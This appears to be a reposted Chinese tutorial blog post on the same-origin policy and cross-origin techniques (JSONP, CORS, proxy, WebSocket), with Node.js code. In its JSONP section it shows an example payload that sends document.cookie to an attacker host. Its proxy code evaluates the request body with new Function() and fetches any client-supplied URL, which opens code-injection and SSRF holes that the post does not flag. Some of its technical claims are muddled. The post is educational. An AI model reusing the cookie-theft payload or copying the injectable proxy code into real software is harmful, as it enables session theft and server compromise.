likes
comments
collection
share

同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞?

作者站长头像
站长
· 阅读数 29

PS:我本人是比较喜欢通过代码来进行对知识的学习的!所以我会比较喜欢通过记录代码来唤起我当时的记忆!

同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞?

跨域是什么

跨域是指在浏览器中,当当前网页的域名、协议或端口与资源所在的域名、协议或端口不同时,浏览器会禁止向其发送跨域的请求。常见的跨域场景包括前后端分离、不同子域名之间的交互、不同端口之间的交互等。

注意:跨域只存在于浏览器中,是由于浏览器的同源策略导致的。

同源策略?

同源策略指的是浏览器只允许页面从同一个源加载其他资源,不同源的客户端脚本在没有明确授权的情况下,不能读写对方的资源。

问题来了,什么是源?

同源策略中的“源”(origin)代表的是协议、主机名和端口号的组合。只有两个页面具有相同的 协议+域名+端口,那么他们称之为同源。(子域名也不是同源的。例如:test.com 和 sub.test.com)

同源策略主要限制以下行为:

  1. Cookie、LocalStorage 和 IndexDB 等存储性质的数据读取;
  2. DOM 节点读取;
  3. AJAX、WebSocket 和 Fetch 等 HTTP 请求的发送。

没有同源策略会出现什么问题?

如果没有同源策略的作用,任意站点之间可以可以操作资源,当你在访问一个合法网站的时候,又打开了一个恶意网站,包含了恶意脚本,恶意脚本便可以操作合法网站上的一切资源。

同源策略主要防止跨站请求伪造(CSRF)和跨站脚本攻击(XSS)这两种攻击。

  1. CSRF(跨站请求伪造)攻击:攻击者通过伪造一个合法的请求,诱使用户点击,从而盗取用户在其他网站的信息或者进行非法操作。

对于 CSRF,同源策略可以防止攻击者利用已登录用户的身份在其他网站上进行恶意操作。具体来说,同源策略可以阻止第三方网站向目标网站发送跨域请求,从而防止攻击者在目标网站上执行恶意操作。例如,攻击者可以伪造一个图片链接,让用户点击该链接,从而触发向目标网站发送的恶意请求,执行攻击者预设的操作,例如转账、修改密码等。

  1. XSS(跨站脚本)攻击:攻击者在网页中注入恶意脚本,通过窃取用户的 Cookie、破坏页面结构等方式,盗取用户的隐私信息。

对于 XSS,同源策略可以防止攻击者通过注入恶意脚本获取目标网站上的敏感信息。具体来说,同源策略可以阻止攻击者在目标网站上注入的脚本访问其他域名下的网页内容或与其他域名进行通信。例如,攻击者可以在目标网站上注入一个脚本,该脚本可以获取用户的个人信息并发送到攻击者的服务器上。

除了防止 CSRF 和 XSS 攻击外,同源策略还可以防止窃取其他网站的数据,保护用户的隐私和安全。

所以,同源策略的出现是为了保护用户的隐私和安全,防止恶意网站对用户数据的窃取和篡改。

PS:浏览器安全方面的知识好难啊~~~ 学了好久还是学不会,记不住 同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞?

跨域实现、原理和漏洞

jsonp(一种利用 script 标签进行跨域请求的方式。)

JSONP的原理是利用 <script> 标签的 src 属性没有跨域限制的特点,将 JSON 数据作为参数传递给一个在当前页面存在的函数来处理

因此可以通过动态创建 script 标签,向服务器请求一个 JS 文件,该 JS 文件是一个回调函数的调用,回调函数的参数是服务器返回的数据,从而实现跨域请求。

script的src为什么能跨域?

script 标签的 src 属性之所以可以跨域请求资源,是因为浏览器对 script 标签的处理方式不同于普通的 AJAX 请求。script标签的src值是不受同源限制的

这是因为 script 标签的加载方式是通过创建一个新的脚本元素,并将 src 属性设置为目标资源的 URL,然后将该元素添加到 DOM 中。浏览器会根据该 URL 发起一个 GET 请求获取相应的资源,并通过执行脚本来处理响应。由于脚本是通过全局对象(window 对象)来执行的,因此不受同源策略的限制。

需要注意的是,该方式只适用于获取外部数据,无法实现向外部服务发送数据,因为 script 标签只支持 GET 请求,而不支持 POST 等其他类型的请求。

jsonp代码实现

简单理解就是:服务端与客户端进行协商(确定函数名),客户端定义可执行函数对参数进行操作,服务端返回带参数的函数调用的字符串(浏览器自动执行)

需要注意的是,JSONP 的回调函数必须是全局函数,即必须定义在全局作用域下。否则在跨域请求返回后,由于作用域链的原因,浏览器无法找到该函数并执行,从而导致请求失败。

前端代码:

function jsonp(url, callback) {
  const script = document.createElement('script');
  script.src = url + '?callback=' + callback;
  document.body.appendChild(script);
}

function handleData(data) {
  console.log(data);
}

jsonp('http://example.com/data', 'handleData');

后端nodejs代码

app.get('/data', (req, res) => {
  const data = { name: 'hyhyhy' };
  const callback = req.query.callback;
  const jsonp = callback + '(' + JSON.stringify(data) + ')';
  res.send(jsonp);
});

jsonp漏洞

jsonp机制容易被拿来执行xss攻击(跨站脚本攻击)。

假设存在一个获取数据的jsonp的API,攻击者可以利用这个 API,构造一个恶意的 URL(攻击者可能会通过网络漏洞将这段恶意url注入到目标网站中):

https://example.com/getData?callback=<script>var%20img%20=%20new%20Image();img.src%20=%20%22http://attacker.com/steal_cookie?cookie=%22%20+%20document.cookie;</script>

当浏览器执行这个 URL,会返回如下的 JSONP 格式的代码:

<script>var img = new Image();img.src = "http://attacker.com/steal_cookie?cookie=" + document.cookie;</script>

由于这个代码被执行了,其中的 document.cookie 就会被发送到攻击者的服务器上,从而实现了 XSS 攻击。

SO,后端使用jsonp进行跨域应该对数据进行校验并限制JSONP回调函数返回的数据类型。

同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞?网络安全真的好难好难~~

cors(一种通过在服务端设置HTTP头来实现跨域请求的方法)

官方推荐使用的跨域方法:

跨域资源共享CORS是一个机制,允许 Web 应用程序从不同的域访问其资源。当web应用程序来自不同域的资源时,浏览器将发生一个跨域请求。

在这种情况下,浏览器将请求分为简单请求和非简单请求:

简单请求(了解就行):

  • 使用 GET、POST 或 HEAD 方法之一;
  • 只能使用允许的请求标头,如Accept、Accept-Language、Content-Language、Content-Type(只限于某些 MIME 类型,如 text/plain、multipart/form-data 或 application/x-www-form-urlencoded);
  • 请求中没有使用自定义的请求标头;
  • Content-Type 头的值只能是下列值之一:application/x-www-form-urlencoded、multipart/form-data、text/plain。

在简单请求中,浏览器会自动在请求头中添加一个 Origin 属性,来告诉服务器请求的来源。服务器可以通过在响应头中添加 Access-Control-Allow-Origin 属性来允许该来源的访问。如果服务器希望允许多个来源访问该资源,可以使用通配符 * 来代替实际的来源。

非简单请求(了解就行):

  • 使用 PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH 或者任何非默认方法的请求;
  • 在请求中使用了自定义标头;
  • 请求中使用了 application/xml 或者 text/xml 作为 MIME 类型,但不是作为 XMLHttpRequest 的 responseType 属性的值;
  • 请求中使用了 application/json 或者 text/plain 作为 MIME 类型,但不是作为 XMLHttpRequest 的 responseType 属性的值。

对于非简单请求,浏览器将在实际请求之前发送一个预检请求。预检请求使用 OPTIONS 方法,以确认实际请求是否可以被允许。预检请求中包含一些额外的请求头,如 Access-Control-Request-Method 和 Access-Control-Request-Headers,用于告诉服务器实际请求中需要使用哪些请求头和方法。

简单来说,就是在客户端发起跨域请求时,会发送一个额外的HTTP头部信息,服务端通过检查该头部信息来确定是否允许跨域请求。对于简单请求,服务端设置请求头的 Access-Control-Allow-Origin 属性来允许该来源的访问,而对于非简单请求,客户端会优先发送一个预检请求(OPTION),在服务端响应处理后,浏览器会根据服务端返回的跨域响应配置信息(Access-Control-Allow-* 等),判断是否允许跨域访问,并在实际请求中携带额外的跨域请求头信息。

代码实现:

后端代码:

const Koa = require('koa');
const app = new Koa();
// 处理预检请求
app.use(async (ctx, next) => {
  // 如果请求方法为 OPTIONS,表示是预检请求
  if (ctx.method === 'OPTIONS') {
    // 允许跨域的请求头
    ctx.set('Access-Control-Allow-Origin', '*');
    ctx.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    ctx.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    ctx.status = 204;
  } else {
    await next();
  }
});
// 处理实际请求
app.use(async (ctx) => {
  // 允许跨域的请求头
  ctx.set('Access-Control-Allow-Origin', '*');
  ctx.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
  ctx.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');

  // 处理请求逻辑
  // ...

  ctx.body = { message: '请求成功' };
});

app.listen(3000, () => {
  console.log('Server started on http://localhost:3000');
});

或者直接调用库:

// 或者直接调用库
const cors = require('@koa/cors')
// cors跨域配置
app.use(cors());

从代码中可以看到,对于预检请求,服务端一般返回状态码204,表示响应成功但没有返回任何实体内容。

对于预检请求,通常都会返回204状态码,表示服务端允许跨域访问,并在响应头中设置了允许跨域的请求头信息。而对于实际请求,服务端需要返回其他状态码(如200),并返回实体内容作为响应结果。

补充说明

在 CORS 中,请求头和响应头包含以 Access-Control- 开头的字段,以表示跨域请求的相关信息。其中,请求头中的字段以 Access-Control-Request- 开头,而响应头中的字段以 Access-Control-Allow- 开头。

对于非简单请求,浏览器会发送两次请求,一次是预检请求,一次是实际请求。

浏览器会先发送一次 OPTIONS 请求,请求头中包含的信息包括 Origin、Access-Control-Request-Method、Access-Control-Request-Headers。这个请求的主要目的是询问服务器,当前域名是否被允许访问这个资源,如果允许,可以带上哪些请求头和方法。

当服务器返回一个预检请求的响应时,浏览器检查响应头中的 Access-Control-Allow-* 是否包含预检请求中请求头中设置的字段(Access-Control-Request-Headers),以及响应头中的 Access-Control-Allow-Origin 是否与请求头中的 Origin 匹配。如果都符合要求,则浏览器会认为服务端允许跨域请求,并在发送实际请求时,携带额外的跨域请求头信息。

如果预检请求返回的响应不符合要求,浏览器会在控制台输出 CORS 错误,并终止实际请求的发送。

CORS漏洞

1、前面说到,因为在很多情况下需要在两个域名之间进行接口调用、资源共享,就存在CORS。

2、跨域资源共享,需要配置允许跨域的主机:Access-Control-Allow-Origin。如果配置不当,造成攻击者就可以绕过跨域限制,形成CORS漏洞。

为了避免这些漏洞,开发者应该遵循最佳实践来正确配置 CORS,包括验证 Origin 头、限制允许的来源、方法和请求头,以及正确配置 Access-Control-Allow-Credentials (cookie跨域)等。

反向代理(一种利用服务器http模块代理转发请求的方法)

同源策略只发生在浏览器中,服务器与服务器之间是不存在跨域的。因此我们可以利用服务器的http模块来转发请求。

反向代理:客户端将请求发送到代理服务器,代理服务器会将请求转发到目标服务器,并将目标服务器的响应返回给客户端。这种方式可以有效地隐藏目标服务器的真实 IP 地址,并提供更好的安全性和性能。

代码实现:

前端只需要通过post传递一个需代理的url地址即可。

后端代码:

// 基于axios进行http发送
app.post('/proxy', async (ctx, next) => {
    const rb = new Function('return ' + ctx.request.body)() // 转化 string 类型为 object
    try {
       const resp = await axios.get(rb.url)
       ctx.response.status = 200
       ctx.response.body = resp.data
    } catch(e) {
        ctx.response.status = 400
        ctx.body = 'error'
    }
})

代理服务器的缺点

代理服务器需要进行额外的转发,会增加服务器负担和请求延迟,不适合在高并发场景下使用。同时,代理服务器也需要对请求进行安全处理,防止被恶意攻击者利用。

代理服务器并不是所有的 HTTP 方法都支持的,例如 OPTIONS 方法和 CONNECT 方法等,这可能会导致一些跨域请求无法进行。

websocket

WebSocket协议也可以解决跨域问题,因为它是一种独立的协议,不受同源策略的限制。

WebSocket建立连接时会发起一个HTTP请求,在握手过程中包含了一些关于协议版本、支持的协议、认证等信息,服务器也会返回一些与WebSocket相关的头部信息。因此,WebSocket的连接建立过程不同于普通的HTTP请求,但是仍然需要经过服务器的同意才能建立连接。

在使用 WebSocket 时,通常需要发送两次请求:

第一次是 HTTP 握手请求,它通过 HTTP 协议建立一个连接,然后将协议切换到 WebSocket。

第二次是 WebSocket 数据请求,它使用 WebSocket 协议进行数据通信。

代码实现:

前端代码:

const socket = new WebSocket('ws://localhost:3000');

socket.onopen = function() {
  console.log('WebSocket连接成功');
}

socket.onmessage = function(event) {
  console.log('接收到服务端消息:', event.data);
}

socket.onclose = function() {
  console.log('WebSocket连接关闭');
}

socket.onerror = function(event) {
  console.error('WebSocket发生错误:', event);
}

// 发送消息到服务端
socket.send('Hello, WebSocket!');

后端代码:

const Koa = require('koa');
const http = require('http');
const WebSocket = require('ws');
const cors = require('@koa/cors');

const app = new Koa();

// 允许跨域请求
app.use(cors());

// 创建 HTTP 服务器
const server = http.createServer(app.callback());

// 创建 WebSocket 服务器
const wss = new WebSocket.Server({ server });

// 处理 WebSocket 连接
wss.on('connection', (ws) => {
  console.log('WebSocket connected');

  // 处理收到的消息
  ws.on('message', (message) => {
    console.log(`Received message: ${message}`);

    // 向客户端发送消息
    ws.send(`You sent: ${message}`);
  });

  // 处理连接关闭
  ws.on('close', () => {
    console.log('WebSocket disconnected');
  });
});

server.listen(3000, () => {
  console.log('Server is listening on port 3000');
});

Websocket 首先需要通过 HTTP 升级为 Websocket 协议,这个过程需要发送一个 HTTP 请求。如果这个 HTTP 请求是跨域的,会受到 CORS 的限制,但是这个请求只是一次握手过程,Websocket 连接建立后就不再受到跨域限制了。因此,如果服务端允许 Websocket 连接,且客户端能够成功建立连接,就可以在建立的连接上自由地进行双向通信,不受跨域限制。

需要注意的是,WebSocket的建立连接的URL必须是ws或wss协议,而不是http或https协议,否则会被浏览器视为普通的HTTP请求。如果需要在跨域的情况下使用WebSocket,可以通过设置Access-Control-Allow-Origin头部来实现跨域访问。

同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞?

跨域部分完结撒花!❀❀❀❀❀

祝大家拿到满意的offer!!

转载自:https://juejin.cn/post/7208018784073629752
评论
请登录